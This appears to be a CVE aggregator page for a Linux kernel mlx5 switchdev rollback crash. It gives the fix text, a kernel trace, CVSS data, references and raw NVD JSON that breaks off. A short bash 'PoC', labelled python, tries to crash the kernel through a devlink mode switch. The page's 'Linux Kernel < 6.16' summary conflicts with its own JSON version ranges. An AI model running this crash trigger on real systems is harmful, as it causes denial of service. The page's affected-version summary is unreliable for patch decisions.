CVE-2026-43012

Description

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Fix switchdev mode rollback in case of failure If for some internal reason switchdev mode fails, we rollback to legacy mode, before this patch, rollback will unregister the uplink netdev and leave it unregistered causing the below kernel bug. To fix this, we need to avoid netdev unregister by setting the proper rollback flag 'MLX5_PRIV_FLAGS_SWITCH_LEGACY' to indicate legacy mode. devlink (431) used greatest stack depth: 11048 bytes left mlx5_core 0000:00:03.0: E-Switch: Disable: mode(LEGACY), nvfs(0), \ necvfs(0), active vports(0) mlx5_core 0000:00:03.0: E-Switch: Supported tc chains and prios offload mlx5_core 0000:00:03.0: Loading uplink representor for vport 65535 mlx5_core 0000:00:03.0: mlx5_cmd_out_err:816:(pid 456): \ QUERY_HCA_CAP(0x100) op_mod(0x0) failed, \ status bad parameter(0x3), syndrome (0x3a3846), err(-22) mlx5_core 0000:00:03.0 enp0s3np0 (unregistered): Unloading uplink \ representor for vport 65535 ------------[ cut here ]------------ kernel BUG at net/core/dev.c:12070! Oops: invalid opcode: 0000 [#1] SMP NOPTI CPU: 2 UID: 0 PID: 456 Comm: devlink Not tainted 6.16.0-rc3+ \ #9 PREEMPT(voluntary) RIP: 0010:unregister_netdevice_many_notify+0x123/0xae0 ... Call Trace: [ 90.923094] unregister_netdevice_queue+0xad/0xf0 [ 90.923323] unregister_netdev+0x1c/0x40 [ 90.923522] mlx5e_vport_rep_unload+0x61/0xc6 [ 90.923736] esw_offloads_enable+0x8e6/0x920 [ 90.923947] mlx5_eswitch_enable_locked+0x349/0x430 [ 90.924182] ? is_mp_supported+0x57/0xb0 [ 90.924376] mlx5_devlink_eswitch_mode_set+0x167/0x350 [ 90.924628] devlink_nl_eswitch_set_doit+0x6f/0xf0 [ 90.924862] genl_family_rcv_msg_doit+0xe8/0x140 [ 90.925088] genl_rcv_msg+0x18b/0x290 [ 90.925269] ? __pfx_devlink_nl_pre_doit+0x10/0x10 [ 90.925506] ? __pfx_devlink_nl_eswitch_set_doit+0x10/0x10 [ 90.925766] ? __pfx_devlink_nl_post_doit+0x10/0x10 [ 90.926001] ? __pfx_genl_rcv_msg+0x10/0x10 [ 90.926206] netlink_rcv_skb+0x52/0x100 [ 90.926393] genl_rcv+0x28/0x40 [ 90.926557] netlink_unicast+0x27d/0x3d0 [ 90.926749] netlink_sendmsg+0x1f7/0x430 [ 90.926942] __sys_sendto+0x213/0x220 [ 90.927127] ? __sys_recvmsg+0x6a/0xd0 [ 90.927312] __x64_sys_sendto+0x24/0x30 [ 90.927504] do_syscall_64+0x50/0x1c0 [ 90.927687] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 90.927929] RIP: 0033:0x7f7d0363e047

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.13:rc6:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43012: Trigger kernel crash via mlx5 eswitch rollback
# Prerequisites: Local access, mlx5 hardware, devlink utility

# Find the mlx5 device
DEV=$(devlink dev | grep mlx5 | awk '{print $1}' | head -n 1)

if [ -z "$DEV" ]; then
    echo "Target device not found."
    exit 1
fi

echo "Attempting to trigger the vulnerability on $DEV..."
# Attempt to set mode to switchdev. If the driver encounters an internal error
# (e.g., QUERY_HCA_CAP failure as seen in the bug report),
# the rollback logic will crash the kernel.
devlink dev eswitch set $DEV mode switchdev

echo "Check if the system crashed or kernel Oops occurred."

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43012
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43012
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43012/
[4] VulDB https://vuldb.com/cve/CVE-2026-43012
[5] https://git.kernel.org/stable/c/2ebb13f3e8be0b61f72425b34cce60c8b6ad1891
[6] https://git.kernel.org/stable/c/403186400a1a6166efe7031edc549c15fee4723f
[7] https://git.kernel.org/stable/c/4363698838b7ec6e8d85b179495889aa7e522f91
[8] https://git.kernel.org/stable/c/e27153b2bd6e6699b544ac4dfa35d167bed5e642

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43012", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:45.117", "lastModified": "2026-05-07T20:28:15.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Fix switchdev mode rollback in case of failure\n\nIf for some internal reason switchdev mode fails, we rollback to legacy\nmode, before this patch, rollback will unregister the uplink netdev and\nleave it unregistered causing the below kernel bug.\n\nTo fix this, we need to avoid netdev unregister by setting the proper\nrollback flag 'MLX5_PRIV_FLAGS_SWITCH_LEGACY' to indicate legacy mode.\n\ndevlink (431) used greatest stack depth: 11048 bytes left\nmlx5_core 0000:00:03.0: E-Switch: Disable: mode(LEGACY), nvfs(0), \\\n\tnecvfs(0), active vports(0)\nmlx5_core 0000:00:03.0: E-Switch: Supported tc chains and prios offload\nmlx5_core 0000:00:03.0: Loading uplink representor for vport 65535\nmlx5_core 0000:00:03.0: mlx5_cmd_out_err:816:(pid 456): \\\n\tQUERY_HCA_CAP(0x100) op_mod(0x0) failed, \\\n\tstatus bad parameter(0x3), syndrome (0x3a3846), err(-22)\nmlx5_core 0000:00:03.0 enp0s3np0 (unregistered): Unloading uplink \\\n\trepresentor for vport 65535\n ------------[ cut here ]------------\nkernel BUG at net/core/dev.c:12070!\nOops: invalid opcode: 0000 [#1] SMP NOPTI\nCPU: 2 UID: 0 PID: 456 Comm: devlink Not tainted 6.16.0-rc3+ \\\n\t#9 PREEMPT(voluntary)\nRIP: 0010:unregister_netdevice_many_notify+0x123/0xae0\n...\nCall Trace:\n[ 90.923094] unregister_netdevice_queue+0xad/0xf0\n[ 90.923323] unregister_netdev+0x1c/0x40\n[ 90.923522] mlx5e_vport_rep_unload+0x61/0xc6\n[ 90.923736] esw_offloads_enable+0x8e6/0x920\n[ 90.923947] mlx5_eswitch_enable_locked+0x349/0x430\n[ 90.924182] ? is_mp_supported+0x57/0xb0\n[ 90.924376] mlx5_devlink_eswitch_mode_set+0x167/0x350\n[ 90.924628] devlink_nl_eswitch_set_doit+0x6f/0xf0\n[ 90.924862] genl_family_rcv_msg_doit+0xe8/0x140\n[ 90.925088] genl_rcv_msg+0x18b/0x290\n[ 90.925269] ? __pfx_devlink_nl_pre_doit+0x10/0x10\n[ 90.925506] ? __pfx_devlink_nl_eswitch_set_doit+0x10/0x10\n[ 90.925766] ? __pfx_devlink_nl_post_doit+0x10/0x10\n[ 90.926001] ? __pfx_genl_rcv_msg+0x10/0x10\n[ 90.926206] netlink_rcv_skb+0x52/0x100\n[ 90.926393] genl_rcv+0x28/0x40\n[ 90.926557] netlink_unicast+0x27d/0x3d0\n[ 90.926749] netlink_sendmsg+0x1f7/0x430\n[ 90.926942] __sys_sendto+0x213/0x220\n[ 90.927127] ? __sys_recvmsg+0x6a/0xd0\n[ 90.927312] __x64_sys_sendto+0x24/0x30\n[ 90.927504] do_syscall_64+0x50/0x1c0\n[ 90.927687] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[ 90.927929] RIP: 0033:0x7f7d0363e047"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.9", "versionEndExcluding": "6.12.81", "matchCriteriaId": "99AE3C0B-A94D-4AA6-A06E-F4B02F7EB95F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.1", "versionEndExcluding": "6.18.22", "matchCriteriaId": "8CBC12FA-A2A3-4882-BEB3-38ED3AC5AD57"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:rc6:*:*:*:*:*:*", "matchCriteriaId": "8AF9DC49-2085-4FFB-A7E3-73DFAFECC7F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:rc7:*:*:*:*:*:*", "matchCriteriaId": "5DFCDFB8-4FD0-465A-9076-D813D78FE51B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:l ... (truncated)